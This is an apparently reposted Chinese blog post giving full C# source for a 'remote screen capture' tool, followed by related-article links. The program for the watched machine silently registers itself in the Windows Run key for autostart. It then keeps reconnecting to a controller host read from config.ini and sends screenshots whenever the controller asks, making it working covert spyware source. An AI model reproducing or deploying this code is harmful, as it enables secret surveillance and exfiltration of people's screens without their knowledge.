//服务器端代码
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Drawing.Imaging;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Net.Sockets;
using Microsoft.Win32;
using System.Threading;namespace 远程屏幕监视
{
public partial class Form1 : Form
{
Socket socket = null;
Thread th = null;
string path = string.Empty;
public Form1()
{
InitializeComponent();
} private void Form1_Load(object sender, EventArgs e)
{
//如果连接的配置文件不存在,则退出
path = Path.Combine(Application.StartupPath, "config.ini");
if (File.Exists(path) == false)
{
Application.Exit();
return;
}
//检查注册表项,如果不存在启动项,则加入。 RegistryKey RootKey = Registry.CurrentUser;
RegistryKey subKey = null;
try
{
subKey = RootKey.OpenSubKey(@"Software/Microsoft/Windows/CurrentVersion/Run", true);
if (subKey.GetValue("ScreenViewer") == null)
{
subKey.SetValue("ScreenViewer", Application.ExecutablePath);
}
subKey.Close();
}
catch {/* 出现错误,则忽略。 */ }
RootKey.Close(); //关闭注册所有句柄,释放资源 //连接
IPAddress ip=null;
int port=0;
using (StreamReader sr = new StreamReader(path))
{
try
{
string s = sr.ReadToEnd();
sr.Close();
string[] res = s.Split(new char[] {':' });
ip = Dns.GetHostAddresses(res[0])[0];
port = int.Parse(res[1]);
}
catch { }
}
try
{
socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
//连接,循环
while (true)
{
try
{
socket.Connect(ip, port);
if (socket.Connected)
{
break;
}
}
catch { Thread.Sleep(5000); }
} ThreadStart sss = new ThreadStart(this.DoReceiveAndWhrite);
th = new Thread(sss);
th.Start();
}
catch { }
} private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
if (th != null)
{
try
{
th.Abort();
}
catch { th = null; }
} if (socket != null)
{
try
{
socket.Close();
}
catch
{ }
}
//关闭原因
if (e.CloseReason == CloseReason.TaskManagerClosing ||
e.CloseReason == CloseReason.WindowsShutDown)
{
Application.Exit(); //正常关闭
}
}
/// <summary>
/// 接收和发送
/// </summary>
private void DoReceiveAndWhrite()
{
try
{
while (true)
{
byte[] buffer =new byte[1024];
//接受控制端的消息
socket.Blocking = true;
int len=socket.Receive(buffer);
if (len > 0)
{
string mss = Encoding.Default.GetString(buffer,0,len);
if (mss.Trim() == "<CATCH>") //仅摄屏一次
{
MemoryStream MS = GetBitmapStream();
byte[] tbuffer = new byte[1024];
MS.Seek(0, SeekOrigin.Begin);
while (MS.Read(tbuffer, 0, 1024) > 0)
{
socket.Send(tbuffer);//发送
tbuffer = new byte[1024];
}
MS.Close();
//结束标记
socket.Send(Encoding.Default.GetBytes("OK"));
} }
}
}
catch { }
} /// <summary>
/// 得到图象的内存流
/// </summary>
/// <returns></returns>
private MemoryStream GetBitmapStream()
{
int width = Screen.PrimaryScreen.Bounds.Width;//宽
int height = Screen.PrimaryScreen.Bounds.Height;//高
//创建位图对象
Bitmap mybit = new Bitmap(width, height);
//复制屏幕内容到图象上
Graphics g = Graphics.FromImage(mybit);
MemoryStream ms = new MemoryStream();
try
{
g.CopyFromScreen(0, 0, 0, 0, new Size(width, height));
mybit.Save(ms, ImageFormat.Gif);
}
catch { return null; }
finally
{
g.Dispose();
mybit.Dispose();
//ms.Close();
}
return ms;
} }
}=====================================
//客户端代码
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;namespace 客户端
{
public partial class Form1 : Form
{
TcpListener listemer = null;
Socket socket = null;
Thread th = null;
public Form1()
{
CheckForIllegalCrossThreadCalls = false;
InitializeComponent();
listemer = new TcpListener(IPAddress.Any,18889);
} private void Form1_Load(object sender, EventArgs e)
{
button1.Enabled = true;
button2.Enabled = false;
} private void Do()
{
socket = listemer.AcceptSocket();
textBox1.Text = ((IPEndPoint)socket.RemoteEndPoint).Address.ToString();
Form2 f = new Form2(socket);
f.ShowDialog();
} private void button1_Click(object sender, EventArgs e)
{
listemer.Start();
ThreadStart start = new ThreadStart(this.Do);
th = new Thread(start);
th.Start();
button1.Enabled = false;
button2.Enabled = true;
} private void button2_Click(object sender, EventArgs e)
{
listemer.Stop();
try
{
th.Abort();
}
catch { } button1.Enabled = true;
button2.Enabled = false;
} private void button3_Click(object sender, EventArgs e)
{
if(textBox2.Text=="")
return;
string filename = Path.Combine(Application.StartupPath, "config.ini");
FileStream fsr = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.ReadWrite);
StreamWriter sw = new StreamWriter(fsr);
try
{
string s = textBox2.Text;
sw.Write(s + ":18889");
sw.Flush();
}
catch { MessageBox.Show("写入文件失败。"); }
finally
{
sw.Close();
sw.Dispose(); fsr.Close();
fsr.Dispose();
}
}
}
}==========================================================================
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;namespace 客户端
{
public partial class Form2 : Form
{
Socket mySocket=null;
public Form2(Socket s)
{
InitializeComponent();
this.mySocket = s;
} private void Form2_Load(object sender, EventArgs e)
{ }
/// <summary>
/// 获取图象
/// </summary>
/// <returns></returns>
private Image GetBitmap()
{
Image mb = null;
MemoryStream ms = new MemoryStream();
byte[] buffer = null;
try
{
mySocket.Blocking = true;
//发送指令
mySocket.Send(Encoding.Default.GetBytes("<CATCH>")); buffer = new byte[1024];
//把接收到的字节写入内存流
int count = mySocket.Receive(buffer);
while (count > 0)
{
string st = Encoding.Default.GetString(buffer,0,count);
if (st == "OK")
{
break;
}
ms.Write(buffer, 0, buffer.Length);
buffer = new byte[1024];
count = mySocket.Receive(buffer);
}
mb = Image.FromStream(ms);
}
catch
{
MessageBox.Show("读取远程数据出错。");
return null;
}
finally
{
ms.Close();
} return mb;
} private void Form2_KeyDown(object sender, KeyEventArgs e)
{
if ((e.Alt == true) && (e.KeyCode == Keys.K))
{
this.BackgroundImage = GetBitmap();
/*
Graphics g = this.CreateGraphics();
g.DrawImage(GetBitmap(),new Point(0,0));
g.Dispose();
*/
}
} private void Form2_FormClosing(object sender, FormClosingEventArgs e)
{
if (mySocket != null)
{
try
{
mySocket.Close();
}
catch { }
}
} }
}
远程截取屏幕内容
转载
提问和评论都可以,用心的回复会被更多人看到
评论
发布评论
相关文章
-
Windows多屏幕采集录制
本文讨论了Windows多屏幕采集录制的具体实现方法、采集过程中如何动态切换屏幕,如何将采集的图像输出为RTSP/RTMP流.进而方便在无纸化会议、投屏等应用场景中使用。
Windows多屏RTMP推送 Windows多屏输出RTSP Windows多屏幕录制 Windows多屏无纸化 Windows多屏幕投屏 -
基于android 实现截取 内容超过屏幕大小的长图
任何事都要去试试,只停留在想象的层面,那也等于waste of time,不要想当然先看需求:当内容已经超出了手机可显示的范围时,要截取这些所有的内容
scrollview android webview jar github -
远程截取屏幕内容
//服务器端代码using System;using System.Collections.Generic;using Syste
.net 客户端 ipad microsoft 释放资源 -
java屏幕截取
CaptureScreen.java
java Java -
Unity动态加载场景天空盒消失
文章目录先看效果思路实践准备一个 Cube再准备好 CubeMap(立方体贴图)天空盒子的 Shader效果1在应用层设置传入的视图变化矩阵前,删除移动的量在GLSL shader层移动视图变化矩阵的移动量效果3添加其他几何体看看深度问题效果4效果5天空盒边界接缝处瑕疵问题边界缝隙解决优化天空盒的渲染队列References LearnGL - 学习笔记目录前些篇:LearnGL - 11.1
Unity动态加载场景天空盒消失 OpenGL OpenGL Skybox OpenGL 天空盒 OpenGL CubeMap